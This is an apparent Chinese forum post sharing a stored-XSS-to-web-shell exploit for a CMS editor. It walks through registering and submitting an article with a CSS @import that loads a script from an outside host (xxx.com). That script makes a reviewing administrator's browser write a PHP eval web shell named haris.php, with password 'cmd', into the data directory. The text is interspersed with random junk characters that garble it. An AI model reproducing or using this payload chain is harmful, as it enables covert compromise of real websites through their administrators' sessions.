<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
& ?; W% r2 ?9 g4 x# c' r为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)& @. X. Y0 Q# f- l a; o
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
# B, z( J9 b4 V$ s下面说说利用方法。
- q) H7 F+ H3 v! m- u% E条件有2个:1 B# G g8 c; e' n* [
1.开启注册* j1 l# P. v. \
2.开启投稿
5 j+ p) I% ^6 G- ^* V( r; ?0 j注册会员----发表文章+ f/ q' D) {6 v8 h" x- o
内容填写:
* e. b/ |0 }$ i0 P# ]复制代码
; m9 y0 G& A$ z* j% n+ H' U<style>@im\port'\http://xxx.com/xss.css';</style>5 Z& O. X1 u! \5 F+ w1 q8 H
新建XSS.Css* D- h, o' {% y) {8 t
复制代码
9 F; J+ y5 J5 }.body{
% P8 f/ ?/ k y2 \! e) I E( Kbackground-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }% P# g* g) k* I
新建xss.js 内容为& K: J9 {* p1 Z. D/ v# w$ J1 Q
复制代码
9 |3 q/ r; V1 M) P1.var request = false;+ D( p* Z# y h' S
2.if(window.XMLHttpRequest) {
; b, _; q, z+ v; \ F! J; l; D3.request = new XMLHttpRequest(); h, W" M7 Q% S9 Q
4.if(request.overrideMimeType) {6 ^, z) X' V. P+ h& [
5.request.overrideMimeType('text/xml');) g" k; i1 V0 V7 n5 d
6.}
/ E/ ^- o: k b" D: z7.} else if(window.ActiveXObject) {
- W; {- d; m+ W6 R! c4 ^: g8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];) A) v0 u( ?5 j$ i5 R0 I0 R
9.for(var i=0; i<versions.length; i++) {# h$ L. [3 ~: _, E: `- ]7 G- ]
10.try {1 Y5 t) Z, h+ i! |" x
11.request = new ActiveXObject(versions);! _! j. ^! s" F; t" n
12.} catch(e) {}
8 E# ]" _) U `- B p13.}2 P* X- ^( r2 C* N) S
14.}
8 H- ^% p: _, W% t3 n* U15.xmlhttp=request;- o+ G2 Z4 R/ w# {5 |6 }
16.function getFolder( url ){( N) N; ~, R; ~" S- N% a! o5 |
17. obj = url.split('/')
+ R5 }% d- G6 \* ?9 ]1 h18. return obj[obj.length-2]
0 P3 A' L9 C! ^1 f! g) d19.}
# p' b. @9 s" d# X3 F2 e, |20.oUrl = top.location.href;
n/ h! _" E/ Q/ A; m21.u = getFolder(oUrl);' c1 n. M! D0 g; k, r0 k: a
22.add_admin();
( Q# f) N2 y4 D* n* h+ V23.function add_admin(){- H0 L( P( ]8 x* W& [* |) @' X, p
24.var url= "/"+u+"/sys_sql_query.php";) y: o/ [4 O! [- g4 d
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
) L6 Q3 O U$ _7 ?' a& G26.xmlhttp.open("POST", url, true);2 f" @& K* r* H
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");3 e3 r L5 A# M( \# c
28.xmlhttp.setRequestHeader("Content-length", params.length);
4 ^2 y6 g" s# g' B2 r29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
% ], u. G; w- k, l30.xmlhttp.send(params);( @( c ~/ q) F0 x& \
31.}
" ^ D5 P4 X# E& m" p当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |